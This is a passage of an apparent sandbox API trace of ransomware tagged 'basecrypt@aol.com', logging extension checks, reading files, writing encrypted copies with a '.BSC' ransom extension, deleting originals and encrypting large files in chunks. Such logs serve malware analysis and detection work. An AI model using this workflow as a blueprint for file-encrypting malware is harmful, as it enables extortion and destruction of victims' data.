(lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.551] lstrlenW (lpString=".zip") returned 4 [0109.551] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0109.552] lstrlenW (lpString=".rar") returned 4 [0109.552] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0109.552] lstrlenW (lpString=".bz2") returned 4 [0109.552] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0109.552] lstrlenW (lpString=".7z") returned 3 [0109.552] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0109.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.552] lstrlenW (lpString=".dbf") returned 4 [0109.552] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0109.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.552] lstrlenW (lpString=".1cd") returned 4 [0109.552] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0109.552] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0109.552] lstrlenW (lpString=".jpg") returned 4 [0109.552] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0109.552] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0109.552] lstrlenW (lpString="SetupUi.dll") returned 11 [0109.552] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0109.552] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=295248) returned 1 [0109.553] CloseHandle (hObject=0x388) returned 1 [0109.553] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0109.553] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.553] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0109.553] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.553] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.553] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0109.553] GetLastError () returned 0x0 [0109.553] ReadFile (in: hFile=0x388, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x48150, lpOverlapped=0x0) returned 1 [0109.836] WriteFile (in: hFile=0x384, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x48160, lpOverlapped=0x0) returned 1 [0109.843] ReadFile (in: hFile=0x388, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.843] WriteFile (in: hFile=0x384, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xea, lpOverlapped=0x0) returned 1 [0109.843] SetEndOfFile (hFile=0x384) returned 1 [0109.843] CloseHandle (hObject=0x384) returned 1 [0109.851] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.851] SetEndOfFile (hFile=0x388) returned 1 [0109.854] CloseHandle (hObject=0x388) returned 1 [0109.854] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0109.931] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0109.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.932] lstrlenW (lpString=".doc") returned 4 [0109.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.932] lstrlenW (lpString=".docx") returned 5 [0109.932] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0109.932] lstrlenW (lpString=".pdf") returned 4 [0109.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.932] lstrlenW (lpString=".xls") returned 4 [0109.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.932] lstrlenW (lpString=".xlsx") returned 5 [0109.932] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0109.932] lstrlenW (lpString=".ppt") returned 4 [0109.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.932] lstrlenW (lpString=".zip") returned 4 [0109.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.932] lstrlenW (lpString=".rar") returned 4 [0109.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.932] lstrlenW (lpString=".bz2") returned 4 [0109.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.932] lstrlenW (lpString=".7z") returned 3 [0109.932] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.932] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.932] lstrlenW (lpString=".dbf") returned 4 [0109.933] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.933] lstrlenW (lpString=".1cd") returned 4 [0109.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.933] lstrlenW (lpString=".jpg") returned 4 [0109.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.933] lstrlenW (lpString=".doc") returned 4 [0109.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.933] lstrlenW (lpString=".docx") returned 5 [0109.933] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0109.933] lstrlenW (lpString=".pdf") returned 4 [0109.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.933] lstrlenW (lpString=".xls") returned 4 [0109.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.933] lstrlenW (lpString=".xlsx") returned 5 [0109.933] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0109.933] lstrlenW (lpString=".ppt") returned 4 [0109.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.933] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.933] lstrlenW (lpString=".zip") returned 4 [0109.933] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.933] lstrlenW (lpString=".rar") returned 4 [0109.934] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.934] lstrlenW (lpString=".bz2") returned 4 [0109.934] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.934] lstrlenW (lpString=".7z") returned 3 [0109.934] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.934] lstrlenW (lpString=".dbf") returned 4 [0109.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.934] lstrlenW (lpString=".1cd") returned 4 [0109.934] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0109.934] lstrlenW (lpString=".jpg") returned 4 [0109.934] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.934] lstrcmpiW (lpString1=".msu", lpString2=".BSC") returned 1 [0109.934] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0109.934] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0109.942] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=5198099) returned 1 [0109.942] CloseHandle (hObject=0x388) returned 1 [0109.943] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0109.943] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.943] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[basecrypt@aol.com].bsc")) returned 1 [0109.943] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0109.944] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fc64 | out: lpNewFilePointer=0x0) returned 1 [0109.944] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fc24 | out: lpNewFilePointer=0x0) returned 1 [0109.944] ReadFile (in: hFile=0x388, lpBuffer=0x3a16058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a16058*, lpNumberOfBytesRead=0x2f3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0109.969] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fc24 | out: lpNewFilePointer=0x0) returned 1 [0109.970] ReadFile (in: hFile=0x388, lpBuffer=0x3a56058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a56058*, lpNumberOfBytesRead=0x2f3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0110.514] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f3fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0110.515] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fc24 | out: lpNewFilePointer=0x0) returned 1 [0110.515] ReadFile (in: hFile=0x388, lpBuffer=0x3a96058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f3fc30, lpOverlapped=0x0 | out: lpBuffer=0x3a96058*, lpNumberOfBytesRead=0x2f3fc30*=0x40000, lpOverlapped=0x0) returned 1 [0110.800] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.800] WriteFile (in: hFile=0x388, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2f3fca8, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0110.824] SetEndOfFile (hFile=0x388) returned 1 [0110.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4343230 [0110.998] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fc74 | out: lpNewFilePointer=0x0) returned 1 [0110.998] WriteFile (in: hFile=0x388, lpBuffer=0x4343230*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343230*, lpNumberOfBytesWritten=0x2f3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.000] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fc74 | out: lpNewFilePointer=0x0) returned 1 [0111.000] WriteFile (in: hFile=0x388, lpBuffer=0x4343230*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343230*, lpNumberOfBytesWritten=0x2f3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.002] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fc74 | out: lpNewFilePointer=0x0) returned 1 [0111.002] WriteFile (in: hFile=0x388, lpBuffer=0x4343230*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f3fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343230*, lpNumberOfBytesWritten=0x2f3fc80*=0x40000, lpOverlapped=0x0) returned 1 [0111.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0111.135] CloseHandle (hObject=0x388) Thread: id = 13 os_tid = 0x7bc [0099.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x68e4a0 [0099.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x69e4a8 [0099.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab38 [0099.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x64d060 [0099.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac28 [0099.834] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3b2c020 [0099.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac40 [0099.836] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ac40, Size=0x20) returned 0x5fec78 [0099.836] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab50 [0099.836] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ab50, Size=0x20) returned 0x5feb88 [0099.836] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.836] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0099.836] Wow64DisableWow64FsRedirection (in: OldValue=0x303ff50 | out: OldValue=0x303ff50*=0x0) returned 1 [0099.836] lstrlenW (lpString="kernel32.dll") returned 12 [0099.836] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0099.836] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0099.836] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb88 | out: hHeap=0x5c0000) returned 1 [0099.836] Sleep (dwMilliseconds=0x64) [0099.996] Sleep (dwMilliseconds=0x64) [0100.241] Sleep (dwMilliseconds=0x64) [0100.431] Sleep (dwMilliseconds=0x64) [0100.793] lstrcmpiW (lpString1=".cmd", lpString2=".BSC") returned 1 [0100.793] lstrlenW (lpString="preoobe.cmd") returned 11 [0100.793] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.325] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=74) returned 1 [0101.325] CloseHandle (hObject=0x328) returned 1 [0101.325] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0101.325] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.325] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.325] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.325] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.325] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.564] GetLastError () returned 0x0 [0101.565] ReadFile (in: hFile=0x328, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x4a, lpOverlapped=0x0) returned 1 [0101.574] WriteFile (in: hFile=0x344, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x50, lpOverlapped=0x0) returned 1 [0101.575] ReadFile (in: hFile=0x328, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.575] WriteFile (in: hFile=0x344, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xea, lpOverlapped=0x0) returned 1 [0101.575] SetEndOfFile (hFile=0x344) returned 1 [0101.575] CloseHandle (hObject=0x344) returned 1 [0101.576] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.576] SetEndOfFile (hFile=0x328) returned 1 [0101.577] CloseHandle (hObject=0x328) returned 1 [0101.577] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0101.577] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0101.578] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.578] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.578] lstrlenW (lpString=".doc") returned 4 [0101.578] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0101.578] lstrlenW (lpString=".docx") returned 5 [0101.578] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0101.578] lstrlenW (lpString=".pdf") returned 4 [0101.578] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0101.578] lstrlenW (lpString=".xls") returned 4 [0101.578] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0101.578] lstrlenW (lpString=".xlsx") returned 5 [0101.578] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0101.578] lstrlenW (lpString=".ppt") returned 4 [0101.578] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0101.578] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.578] lstrlenW (lpString=".zip") returned 4 [0101.578] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0101.578] lstrlenW (lpString=".rar") returned 4 [0101.578] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0101.578] lstrlenW (lpString=".bz2") returned 4 [0101.579] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0101.579] lstrlenW (lpString=".7z") returned 3 [0101.579] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0101.579] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.579] lstrlenW (lpString=".dbf") returned 4 [0101.579] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0101.579] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.579] lstrlenW (lpString=".1cd") returned 4 [0101.579] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0101.579] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.579] lstrlenW (lpString=".jpg") returned 4 [0101.579] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0101.579] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.579] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.579] lstrlenW (lpString=".doc") returned 4 [0101.579] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0101.579] lstrlenW (lpString=".docx") returned 5 [0101.579] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0101.579] lstrlenW (lpString=".pdf") returned 4 [0101.579] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0101.579] lstrlenW (lpString=".xls") returned 4 [0101.579] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0101.579] lstrlenW (lpString=".xlsx") returned 5 [0101.579] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0101.579] lstrlenW (lpString=".ppt") returned 4 [0101.579] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0101.579] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.579] lstrlenW (lpString=".zip") returned 4 [0101.579] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0101.579] lstrlenW (lpString=".rar") returned 4 [0101.579] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0101.579] lstrlenW (lpString=".bz2") returned 4 [0101.579] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0101.580] lstrlenW (lpString=".7z") returned 3 [0101.580] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0101.580] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.580] lstrlenW (lpString=".dbf") returned 4 [0101.580] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0101.580] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.580] lstrlenW (lpString=".1cd") returned 4 [0101.580] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0101.580] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0101.580] lstrlenW (lpString=".jpg") returned 4 [0101.580] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0101.580] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0101.580] lstrlenW (lpString="SetupResources.dll") returned 18 [0101.580] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.581] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=14168) returned 1 [0101.581] CloseHandle (hObject=0x328) returned 1 [0101.581] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0101.581] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.581] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.581] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.581] GetLastError () returned 0x0 [0101.582] ReadFile (in: hFile=0x328, 